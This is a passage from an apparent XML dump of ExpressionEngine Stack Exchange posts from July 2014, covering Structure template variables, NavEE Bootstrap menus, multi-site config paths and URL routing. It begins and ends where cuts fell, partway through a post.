{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You were passing in a blank variable, which I think was breaking the template. (&lt;a href=&quot;http://ellislab.com/forums/viewthread/219690/&quot; rel=&quot;nofollow&quot;&gt;See first response in this thread&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="1188" LastActivityDate="2014-07-25T18:47:08.003" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24674" PostTypeId="1" AcceptedAnswerId="24801" CreationDate="2014-07-25T23:14:39.853" Score="0" ViewCount="89" Body="&lt;p&gt;EE 2.8.1&#xA;Structure 3.3.14.5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got a template Where I need to use {structure:page:entry_id}  to pass the current pages entry id in order to list some entries. However on this page {structure:page:entry_id} does nothing, zilch, nada. When I place it anywhere in the template it doesn't output the entry_id at all. In fact it gets rendered on the front end as if the variable were not valide with curly braces and all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Code that I'm trying to use is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:structure:entries parent_id=&quot;{structure:page:entry_id}&quot;}&#xA;    {switch='&amp;lt;div class=&quot;tiles&quot;&amp;gt;||'}&#xA;&#xA;        &amp;lt;div class=&quot;tile one-sided&quot;&amp;gt;&#xA;            &amp;lt;a href=&quot;{page_url}&quot; class=&quot;tile-content&quot;&amp;gt;&#xA;                &amp;lt;img src=&quot;http://placehold.it/230x100&quot; alt=&quot;&quot;&amp;gt;&#xA;                &amp;lt;h5&amp;gt;{title}&amp;lt;/h5&amp;gt;&#xA;            &amp;lt;/a&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;    {switch='||&amp;lt;/div&amp;gt;'}&#xA;{/exp:structure:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I hard code in the parent_id the code renders as expected.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2014-07-31T15:17:47.497" Title="{structure:page:entry_id} doesn't render" Tags="|structure|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24675" PostTypeId="2" ParentId="24658" CreationDate="2014-07-26T01:14:46.257" Score="1" Body="&lt;p&gt;Unfortunately that's not possible. You would need to combine those fields in your XML beforehand, i.e. before importing into your custom text field using Importer.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-07-26T01:14:46.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24676" PostTypeId="2" ParentId="24674" CreationDate="2014-07-26T02:05:47.327" Score="1" Body="&lt;p&gt;Structure's global variables are only applicable to a Structure &lt;strong&gt;Page&lt;/strong&gt; or &lt;strong&gt;Listing&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems the template in which your code resides is not being utilised as a template by a Structure page or listing entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Firstly&lt;/strong&gt;, I would suggest you disable and re-enable the Structure extension for sanity sake. The extension is what parses the template variables in the first place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Secondly&lt;/strong&gt;, to verify whether your template is a Structure page or listing, you will need to &lt;a href=&quot;http://buildwithstructure.com/documentation/creating_pages/&quot; rel=&quot;nofollow&quot;&gt;create a page&lt;/a&gt; in Structure and ensure you've selected the Structure Template (which has your code in it) from within the Structure tab. Check if your global variable outputs the correct &lt;code&gt;{entry_id}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Finally&lt;/strong&gt;, you may want to browse through the Structure &lt;a href=&quot;http://structure.tenderapp.com/&quot; rel=&quot;nofollow&quot;&gt;Support forum&lt;/a&gt; to investigate further or get in touch with the vendor.&lt;/p&gt;&#xA;" OwnerUserId="3410" LastActivityDate="2014-07-26T02:05:47.327" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24677" PostTypeId="2" ParentId="24460" CreationDate="2014-07-26T02:51:24.287" Score="0" Body="&lt;p&gt;You could try combining the DT Plugin with the &lt;a href=&quot;http://www.putyourlightson.net/loop-plugin&quot; rel=&quot;nofollow&quot;&gt;Loop Plugin&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what your code would look like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select id=&quot;expiry1&quot;&amp;gt;&#xA;  {exp:for_loop start=&quot;0&quot; end=&quot;12&quot; increment=&quot;1&quot; parse=&quot;inward&quot;}&#xA;    &amp;lt;option value=&quot;{exp:dt format='%U' month='{index}'}&quot;&amp;gt;&#xA;      {exp:dt format='%M %Y' month='{index}'}&#xA;    &amp;lt;/option&amp;gt;&#xA;  {/exp:for_loop}&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;To explain how this works:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;start=&lt;/code&gt; and &lt;code&gt;end=&lt;/code&gt; parameters allow us to sequentially loop from a start-end iteration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We've set the loop to start from &lt;code&gt;0&lt;/code&gt; which means the first iteration will be&lt;code&gt;month=&quot;0&quot;&lt;/code&gt;. This comes in handy as the DT Plugin (or most plugins for that matter) disregard zero-value parameters and therefore evaluates it as if the &lt;code&gt;month&lt;/code&gt; parameter were not even provided.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; We are also providing the &lt;code&gt;parse=&quot;inward&quot;&lt;/code&gt; parameter to the&#xA;  outer plugin to allow the &lt;code&gt;{index}&lt;/code&gt; variable to parse before DT Plugin&#xA;  accepts it as a parameter!&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Hope this helps!&lt;/p&gt;&#xA;" OwnerUserId="3410" LastActivityDate="2014-07-26T02:51:24.287" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24678" PostTypeId="2" ParentId="24646" CreationDate="2014-07-26T05:08:15.937" Score="1" Body="&lt;p&gt;The themes directory is usually the one challenge for the MSM and Master Config combo. There are some options, each with its own unique workaround, so you just have to choose which method seems the least cumbersome/annoying. Here are two options based on a similar directory structure.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Directory setup&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/config&lt;br&gt;&#xA;/system&lt;br&gt;&#xA; &amp;nbsp;&amp;nbsp;&amp;nbsp;/codeignitor&lt;br&gt;&#xA; &amp;nbsp;&amp;nbsp;&amp;nbsp;/expressionengine&lt;br&gt;&#xA;/site1.com&lt;br&gt;&#xA; &amp;nbsp;&amp;nbsp;&amp;nbsp;/admin &amp;nbsp;&amp;nbsp;#login to CP&lt;br&gt;&#xA; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;/index.php &amp;nbsp;&amp;nbsp;#This is the only file in this directory&lt;br&gt;&#xA; &amp;nbsp;&amp;nbsp;&amp;nbsp;/themes&lt;br&gt;&#xA;/site2.com&lt;br&gt;&#xA; &amp;nbsp;&amp;nbsp;&amp;nbsp;/admin &amp;nbsp;&amp;nbsp;#login to CP&lt;br&gt;&#xA; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;/index.php &amp;nbsp;&amp;nbsp;#This is the only file in this directory&lt;br&gt;&#xA; &amp;nbsp;&amp;nbsp;&amp;nbsp;/themes&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE: I copy the same exact themes folder for each site. This is the annoying piece I choose to live with because I have a weird thing about cross-domain linking. You just have to be careful with EE and add-on updates.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An alternative is to set a value in your config so the secondary sites know the default site's URL and path, then link to the theme files on that domain. This is what Jason Varga is doing in the &quot;not so fast&quot; section of link you posted. But there's an easier way, in my option. For each environment's config file, add in these four config values for that environment's URL. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;config.local.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$env_config['site1_url']        = 'http://www.site1.local';&#xA;$env_config['site1_path']       = '/local/path/to/site1.com';&#xA;$env_config['theme_folder_url']     = $env_config['site1_url'] . '/themes/';&#xA;$env_config['theme_folder_path']    = $env_config['site1_path'] . '/themes/';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;config.dev.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$env_config['site1_url']        = 'http://www.site1.dev';&#xA;$env_config['site1_path']       = '/dev/path/to/site1.com';&#xA;$env_config['theme_folder_url']     = $env_config['site1_url'] . '/themes/';&#xA;$env_config['theme_folder_path']    = $env_config['site1_path'] . '/themes/';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;config.prod.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$env_config['site1_url']        = 'http://www.site1.com';&#xA;$env_config['site1_path']       = '/prod/path/to/site1.com';&#xA;$env_config['theme_folder_url']     = $env_config['site1_url'] . '/themes/';&#xA;$env_config['theme_folder_path']    = $env_config['site1_path'] . '/themes/';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you prefer this alternative method, then you only need the /themes directory in your default site.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;For both /system/expressionengine/config/config.php and database.php you need to this:&lt;br&gt;&#xA;&lt;code&gt;require $_SERVER['DOCUMENT_ROOT'] . '/../config/config.master.php';&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;/config/config.master.php contains...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA;     * Dynamic path settings&#xA;     * &#xA;     * Make it easy to run the site in multiple environments and not have to switch up&#xA;     * path settings in the database after each migration&#xA;     * As inspired by Matt Weinberg: http://eeinsider.com/articles/multi-server-setup-for-ee-2/&#xA;     */&#xA;    $protocol                          = (isset($_SERVER['HTTPS']) &amp;amp;&amp;amp; $_SERVER['HTTPS'] == 'on') ? 'https://' : 'http://';&#xA;    $base_url                          = $protocol . $_SERVER['HTTP_HOST'];&#xA;    $base_path                         = $_SERVER['DOCUMENT_ROOT'];&#xA;    $system_folder                     = '../../system';&#xA;    $images_folder                     = 'assets/images';&#xA;    $images_path                       = $base_path . '/' . $images_folder;&#xA;    $images_url                        = $base_url . '/' . $images_folder;&#xA;&#xA;    $env_config['multiple_sites_enabled']   = 'y';&#xA;    $env_config['index_page']          = '';&#xA;    $env_config['site_index']          = '';&#xA;    $env_config['base_url']            = $base_url . '/';&#xA;    $env_config['site_url']            = $env_config['base_url'];&#xA;    $env_config['cp_url']              = $env_config['base_url'] . 'admin/index.php';&#xA;    $env_config['theme_folder_path']   = $base_path   . '/themes/';&#xA;    $env_config['theme_folder_url']    = $base_url    . '/themes/';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;For both sites, the /index.php, /admin.php, and /admin/index.php files share these settings, with the &lt;code&gt;site_name&lt;/code&gt; being the only difference.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $protocol = (isset($_SERVER['HTTPS']) &amp;amp;&amp;amp; $_SERVER['HTTPS'] == 'on') ? 'https://' : 'http://';&#xA;    $base_url = $protocol . $_SERVER['HTTP_HOST'] . &quot;&quot;;&#xA;    $assign_to_config['site_name']  = 'site1'; // MSM only&#xA;    $assign_to_config['cp_url'] = $base_url . '/admin/index.php'; // masked CP access only &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Finally, define the &lt;code&gt;$system_path&lt;/code&gt; in each of those three files for all your sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/index.php and /admin.php&lt;br&gt;&#xA;&lt;code&gt;$system_path = '../system';&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/admin/index.php&lt;br&gt;&#xA;&lt;code&gt;$system_path = &quot;../../system/&quot;;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="69" LastEditorUserId="69" LastEditDate="2014-07-26T15:25:46.543" LastActivityDate="2014-07-26T15:25:46.543" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24679" PostTypeId="2" ParentId="24589" CreationDate="2014-07-26T08:08:56.847" Score="1" Body="&lt;p&gt;Why not save your user the trouble and list all countries? You could use an 3rd party plugin: Reegion-Select, devot-ee.com/add-ons/reegion-select.&lt;/p&gt;&#xA;" OwnerUserId="552" LastEditorUserId="552" LastEditDate="2014-07-26T08:25:31.583" LastActivityDate="2014-07-26T08:25:31.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24680" PostTypeId="1" AcceptedAnswerId="24689" CreationDate="2014-07-26T08:29:54.737" Score="1" ViewCount="184" Body="&lt;p&gt;I'll start with an example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An image with an embedded watermark URL &lt;code&gt;example.com/1203020202&lt;/code&gt;, in the lower right-hand corner in small text will serve as a redirect to the original URL. So when a user visits &lt;code&gt;example.com/1203020202&lt;/code&gt;, they will be redirected to the original URL if it still exists i.e. &lt;code&gt;example.com/something/this-is-the-image-page&lt;/code&gt;. This is so when images are sent via email or shared, found on google images, it serves as a URL shortener and 301 redirects the user to the original source.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 2.8 has the new template routing. I'm wondering if it would be better to write an module/extension hook that would do the routing before template parsing. I speculate that this will require more work, but not sure if it's worth it in the end. Does the entry exist, is the status open or closed? etc, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option is to use the EE 2.8 routing with a template that would find the entry_id and perform the redirect if &lt;code&gt;{segment:id}&lt;/code&gt; is found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thing that scares me about the EE2.8 routing is that seems limited by priority, and correct me if I'm wrong, there is no way to set priority with routing.&#xA;&lt;strong&gt;Edit, as of EE2.9 you can set template routing priorities&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm thinking of speed overall, and if it can be done before the template parser begins, it's faster, less code, that would be cool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="931" LastEditorUserId="931" LastEditDate="2014-07-27T10:58:13.113" LastActivityDate="2014-07-27T11:55:46.527" Title="With new Routing capabilities in EE 2.8 - Trying to figure out the best solution" Tags="|ee2|module|extension|routing|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="24681" PostTypeId="1" AcceptedAnswerId="24682" CreationDate="2014-07-26T11:59:30.417" Score="2" ViewCount="644" Body="&lt;p&gt;My site is built on Bootstrap 3 framework and I am using NavEE as the navigation plugin. One thing I cannot figure out is how to implement the conditionals required to build out the navigation structure eg. if there are children nav items then display modified mark-up as required in Bootstrap.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is the Bootstrap structure I need to create using NavEE:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;nav navbar-nav&quot;&amp;gt;&#xA;  &amp;lt;li class=&quot;active&quot;&amp;gt;&amp;lt;a href=&quot;/&quot;&amp;gt;Home&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;  &amp;lt;li class=&quot;dropdown&quot;&amp;gt;&#xA;    &amp;lt;a href=&quot;#&quot; class=&quot;dropdown-toggle&quot; data-toggle=&quot;dropdown&quot;&amp;gt;Options &amp;lt;b class=&quot;caret&quot;&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;&#xA;    &amp;lt;ul class=&quot;dropdown-menu&quot;&amp;gt;&#xA;      &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Option 1&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;      &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Option 2&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;  &amp;lt;/li&amp;gt;&#xA;  &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Contact Us&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can easily create the top-level navigation using the basic NavEE syntax:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:navee:nav nav_title=&quot;main&quot; class=&quot;nav navbar-nav&quot; selected_class=&quot;active&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have tried using the custom NavEE syntax but have found the documentation limited so have not been able to work out the correct conditionals:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:navee:custom nav_title=&quot;main&quot; class=&quot;nav navbar-nav&quot; selected_class=&quot;active&quot;}&#xA;   &amp;lt;li class=&quot;{class}&quot;&amp;gt;&amp;lt;a href=&quot;{link}&quot;&amp;gt;{text}&amp;lt;/a&amp;gt;{kids}&amp;lt;/li&amp;gt;&#xA;{/exp:navee:custom}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to be able to say something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:navee:custom nav_title=&quot;main&quot; class=&quot;nav navbar-nav&quot; selected_class=&quot;active&quot;}&#xA;   &amp;lt;li class=&quot;{if kids}dropdown{/if}&quot;&amp;gt;&amp;lt;a {if kids}class=&quot;dropdown-toggle&quot; data-toggle=&quot;dropdown&quot;{/if} href=&quot;{link}&quot;&amp;gt;{text}{if kids} &amp;lt;b class=&quot;caret&quot;&amp;gt;&amp;lt;/b&amp;gt;{/if}&amp;lt;/a&amp;gt;{kids}&amp;lt;/li&amp;gt;&#xA;{/exp:navee:custom}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Even if I could get that to work I still need to target the nested UL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have used Taxonomy in the past and have been able to create the required Bootstrap 2 navigation structure:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:taxonomy:nav &#xA;tree_id=&quot;1&quot; &#xA;display_root=&quot;no&quot; &#xA;ul_css_class=&quot;nav&quot; &#xA;ul_css_class:level_2=&quot;dropdown-menu&quot;&#xA;entry_id=&quot;{entry_id}&quot;&#xA;}&#xA;&amp;lt;li class=&quot;{if node_has_children}dropdown{/if}{if node_active} active{/if}&quot;&amp;gt;&#xA;    &amp;lt;a{if node_has_children} class=&quot;dropdown-toggle&quot; data-toggle=&quot;dropdown&quot;{/if} href=&quot;{node_url}&quot;&amp;gt;&#xA;    {if node_has_children}&amp;lt;b class=&quot;icon-chevron-down&quot;&amp;gt;&amp;lt;/b&amp;gt; {/if}{node_title}&#xA;    &amp;lt;/a&amp;gt;&#xA;{children}&#xA;&amp;lt;/li&amp;gt;&#xA;&#xA;{/exp:taxonomy:nav}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any assistance in allowing me to control NavEE in the same way I have been able to with Taxonomy would be greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;br&gt;&#xA;Dan&lt;/p&gt;&#xA;" OwnerUserId="1158" LastActivityDate="2015-11-23T19:42:56.413" Title="Bootstrap navigation mark-up using NavEE" Tags="|bootstrap|navee|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24682" PostTypeId="2" ParentId="24681" CreationDate="2014-07-26T12:32:39.700" Score="2" Body="&lt;p&gt;After days or trying to work it out and then finally posting my question on EESO I actually stumbled across the answer (literally minutes after posting my question).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Brandon Richards posted the answer on The Outfit, Inc forum (&lt;a href=&quot;https://getsatisfaction.com/booyant/topics/twitter_bootstrap#reply_14550626&quot; rel=&quot;nofollow&quot;&gt;https://getsatisfaction.com/booyant/topics/twitter_bootstrap#reply_14550626&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is how you can achieve Bootstrap 3 navigation structure using NavEE:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;nav navbar-nav&quot;&amp;gt;&#xA;{exp:navee:custom nav_title=&quot;main&quot; wrap_type=&quot;none&quot; selected_class=&quot;active&quot; selected_class_on_parents=&quot;true&quot; parent_selected_class=&quot;active&quot;}&#xA;    {if has_kids}&#xA;        &amp;lt;li{if has_kids} class=&quot;dropdown&quot;{/if}&amp;gt;&#xA;            &amp;lt;a href=&quot;{link}&quot; class=&quot;dropdown-toggle&quot; data-toggle=&quot;dropdown&quot;&amp;gt;{text} &amp;lt;b class=&quot;caret&quot;&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;&#xA;            &amp;lt;ul class=&quot;dropdown-menu&quot;&amp;gt;&#xA;                &amp;lt;li&amp;gt;{kids}&amp;lt;/li&amp;gt;&#xA;            &amp;lt;/ul&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;    {if:else}&#xA;        &amp;lt;li{if class != &quot;&quot;} class=&quot;{class}&quot;{/if}&amp;gt;&amp;lt;a href=&quot;{link}&quot; title=&quot;{text}&quot;&amp;gt;{text}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    {/if}&#xA;{/exp:navee:custom}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks Brandon!&lt;/p&gt;&#xA;" OwnerUserId="1158" LastActivityDate="2014-07-26T12:32:39.700" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24683" PostTypeId="1" AcceptedAnswerId="25275" CreationDate="2014-07-26T21:14:32.700" Score="1" ViewCount="86" Body="&lt;p&gt;Nolan is working fine, but it is possible  to insert a drop down inside a cell, as the Field Pack dropdown inside a Matrix cell?&lt;/p&gt;&#xA;" OwnerUserId="1918" LastActivityDate="2014-08-22T14:56:16.570" Title="Insert a drop down inside Nolan" Tags="|matrix|drop-down|nolan|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24684" PostTypeId="2" ParentId="24655" CreationDate="2014-07-27T01:00:40.123" Score="1" Body="&lt;p&gt;I had similar issues.  It got a bit confusing as session timeouts etc. seem to come in to play, so things I did seemed to work then it stopped working etc. as I experimented with different combinations. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the end, things I did that solved it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I changed the front end session type to cookie, and explicitly added the XID hash to all my login forms (actually ALL forms), e.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; input type=&quot;hidden&quot; name=&quot;XID&quot; value=&quot;{XID_HASH}&quot; &lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, and this was important I think, I cleared exp_sessions of old sessions data (will log you out obviously).  It would have been easier to work out the issues if I had done this after each change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And in my config, I changed back from secure cookies only, set my cookie domain, and made sure the cookie gets expired on browser close (this is with focuslab llc so adapt if you're not using that).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&lt;pre&gt;&#xA;+$env_config['cookie_secure']                         = 'n';&#xA;+$env_config['cookie_domain']                        = &quot;mydomain.net&quot;;&#xA;+$env_config['expire_session_on_browser_close']      = 'y';&lt;br&gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I can tell, these changes are to do with 2.8.1 and secure forms changes, i.e. secure forms are on by default.  But it's all a bit unclear and maybe someone more informed can give a better reason as to the whys of it all - but this got it all working again (both front and back ends)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this gets you going!!&lt;/p&gt;&#xA;" OwnerUserId="1532" LastActivityDate="2014-07-27T01:00:40.123" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24685" PostTypeId="2" ParentId="20642" CreationDate="2014-07-27T01:10:25.570" Score="0" Body="&lt;p&gt;I am using all these with EE2.9 with basically no issues:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Assets&#xA;Cartthrob&#xA;Cartthrob Order Manager&#xA;Wygwam&#xA;Playa&#xA;Matrix&#xA;CE Image&#xA;Profile:Edit&#xA;Field Editor&#xA;Ct Admin, User&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The only one I am having issues with is Wygwam actually.  I am finding some pages are CPU spiking and then timing out &lt;strong&gt;depending on the content in that field&lt;/strong&gt;.  I have to do some more testing and then will contact P &amp;amp; T about it, but if I remove the stashing of that field, the page loads quickly, add it back and it cpu spikes and never renders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's only on a few pages on the site, so it must be ?specific content related? - overall it's all working quite smoothly although I did need  to attend to some session/login/forms/xid hash stuff as this all changed a bit after 2.8.1 - see&#xA;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/24655/after-upgrading-to-ee-2-9-0-my-front-end-login-page-no-longer-works&quot;&gt;After upgrading to EE 2.9.0 my front-end login page no longer works&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;...and a few conditionals needed a bit of revising with the new conditionals parse, but all in all way less pain that I expected (2.7.2 -&gt; 2.9 in my case)&lt;/p&gt;&#xA;" OwnerUserId="1532" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2014-07-27T01:10:25.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24687" PostTypeId="1" CreationDate="2014-07-27T11:16:32.397" Score="1" ViewCount="342" Body="&lt;p&gt;As a programming project I have a task to change expressionengine default datepicker for inserting date in publish or edit entry form with a custom one! I know where the default datepicker file is located , but I'm not allowed in any case to replace or change this file , but I need to attach my own jquery datepicker using some extension hook to the expressionengine publish entry date field , but I really don't know how to define my datepicker in expressionengine , and I only need it in the control panel / publish entry / date area! not as a channel field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS : the reason to change the current EE datepicker is because we have a very different format for showing date (different year , month etc.) like how chinese date format is different with US!&lt;/p&gt;&#xA;" OwnerUserId="3411" LastActivityDate="2014-11-03T12:17:00.650" Title="Change the expressionengine publish entry datepicker" Tags="|date|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24688" PostTypeId="1" CreationDate="2014-07-27T11:22:08.607" Score="0" ViewCount="19" Body="&lt;p&gt;Have set up an site in various languages with the structure as follows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;en/template/article&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's just one channel field group with the custom fields set as&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;field_en, field_de, field_fr&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Etc, etc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Main issue though is when trying to implement a Simple Search functionality: the channel field parameters where you set the URL for search results only allow one input - probably will have to be &lt;em&gt;en/template&lt;/em&gt; - and you cannot put {segment_1}/template which would obviously dynamically allow setting of the results page in different languages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone encountered this one and come up with a workaround?&lt;/p&gt;&#xA;" OwnerUserId="2748" LastActivityDate="2014-07-27T11:22:08.607" Title="Multilingual Site and Search Functions" Tags="|search|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24689" PostTypeId="2" ParentId="24680" CreationDate="2014-07-27T11:55:46.527" Score="4" Body="&lt;p&gt;I can think of two ways to do this. One is to use Resource Router. Your config would look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['resource_router'] = array(&#xA;  ':num' =&amp;gt; function($router, $wildcard) {&#xA;    $query = ee()-&amp;gt;db-&amp;gt;select('url_title')&#xA;      -&amp;gt;where('entry_id', $wildcard-&amp;gt;value)&#xA;      -&amp;gt;where('channel_id', 1) // use the right channel id here&#xA;      -&amp;gt;get('channel_titles');&#xA;&#xA;    $url_title = $query-&amp;gt;row('url_title');&#xA;&#xA;    $query-&amp;gt;free_result();&#xA;&#xA;    if ($url_title)&#xA;    {&#xA;      $router-&amp;gt;redirect('your/template/'.$url_title);&#xA;    }&#xA;    else&#xA;    {&#xA;      $router-&amp;gt;set404();&#xA;    }&#xA;  },&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The other is to do the same basic logic in an extension using the &lt;code&gt;core_template_route&lt;/code&gt; hook:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function core_template_route($uri_string) {&#xA;  $query = 